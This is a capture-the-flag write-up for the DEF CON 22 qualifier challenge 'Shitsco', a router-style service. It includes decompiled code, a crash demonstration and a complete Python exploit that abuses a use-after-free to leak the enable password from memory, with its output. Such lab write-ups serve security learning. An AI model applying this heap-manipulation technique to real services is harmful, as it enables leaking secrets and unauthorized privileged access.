Defcon 22 quals - Gynophage Shitsco (2pts)

mangoui-MacBook-Pro:defcon_source kjungi704$ nc 10.211.55.4 8989 

 oooooooo8 oooo        o88    o8                                       
888         888ooooo   oooo o888oo  oooooooo8    ooooooo     ooooooo   
 888oooooo  888   888   888  888   888ooooooo  888     888 888     888 
        888 888   888   888  888           888 888         888     888 
o88oooo888 o888o o888o o888o  888o 88oooooo88    88ooo888    88ooo88   
                                                                       
Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$ 

Cisco router style binary
Cisco -> Shitsco

Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$ ?    
==========Available Commands==========
|enable                               |
|ping                                 |
|tracert                              |
|?                                    |
|shell                                |
|set                                  |
|show                                 |
|credits                              |
|quit                                 |
======================================
Type ? followed by a command for more detailed information
$ set a hello
$ set b wow
$ show
a: hello
b: wow
$ set a
$ show
b: wow

enable -> to privileged mode
ping -> ping
tracert -> tracert
? -> help
shell -> spawn shell
show -> list set variables
set -> set variables
credits -> credits
quit -> exit

size_t __cdecl readpassword()
{
  unsigned int v0; // eax@1
  FILE *v1; // eax@3
  FILE *v2; // ebx@3
  size_t result; // eax@4

  v0 = 0;
  do
  {
    password[v0] = 0;
    ++v0;
  }
  while ( v0 < 8 );
  v1 = fopen("/home/shitsco/password", "r");
  v2 = v1;
  if ( !v1 )
  {
    perror("Failed to open password file");
    exit(-1);
  }
  result = fread(password, 1u, 32u, v1);
  if ( result )
    result = fclose(v2);
  return result;
}

read enable password at /home/shitsco/password in main()->readpassword()

password saved at .bss 0x0804C3A0

Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$ set a aaaaaaaaaaaaaaaa
$ set b bbbbbbbbbbbbbbbb
$ set c cccccccccccccccc
$ set a
$ set b
$ set d dddddddddddddddd 
$ show
d: dddddddddddddddd
Segmentation fault (core dumped)

WTF????!?!?!??!?!?

Final exploit with USE-AFTER-FREE vuln

#!/usr/bin/python
from socket import *
from struct import *

p = lambda x : pack("<L",x)

s = socket(AF_INET,SOCK_STREAM)
s.connect(('10.211.55.4',8989))

password = 0x0804C3A0
s1 = 0x0804C36C
one = "set a "+"A"*16
two = "set b "+"B"*16
three = "set c "+"a"*4+p(password)+p(s1)+"aaaa"

def goset(wow):
 s.send(wow+"\n")
 s.recv(1024)

def unset(wow):
 s.send(wow+"\n")
 s.recv(1024)

print s.recv(1024)
goset(one)
goset(two)
unset("set a")
unset("set b")
goset(three)
s.send("show"+"\n")
print s.recv(1024)

password = saved password addr
s1 = chunks head addr

mangoui-MacBook-Pro:defcon_source kjungi704$ python shitsco.py 

 oooooooo8 oooo        o88    o8                                       
888         888ooooo   oooo o888oo  oooooooo8    ooooooo     ooooooo   
 888oooooo  888   888   888  888   888ooooooo  888     888 888     888 
        888 888   888   888  888           888 888         888     888 
o88oooo888 o888o o888o o888o  888o 88oooooo88    88ooo888    88ooo88   
                                                                       
Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$ 
c: aaaa?laaaa
: here_is_password_password

CLEAR!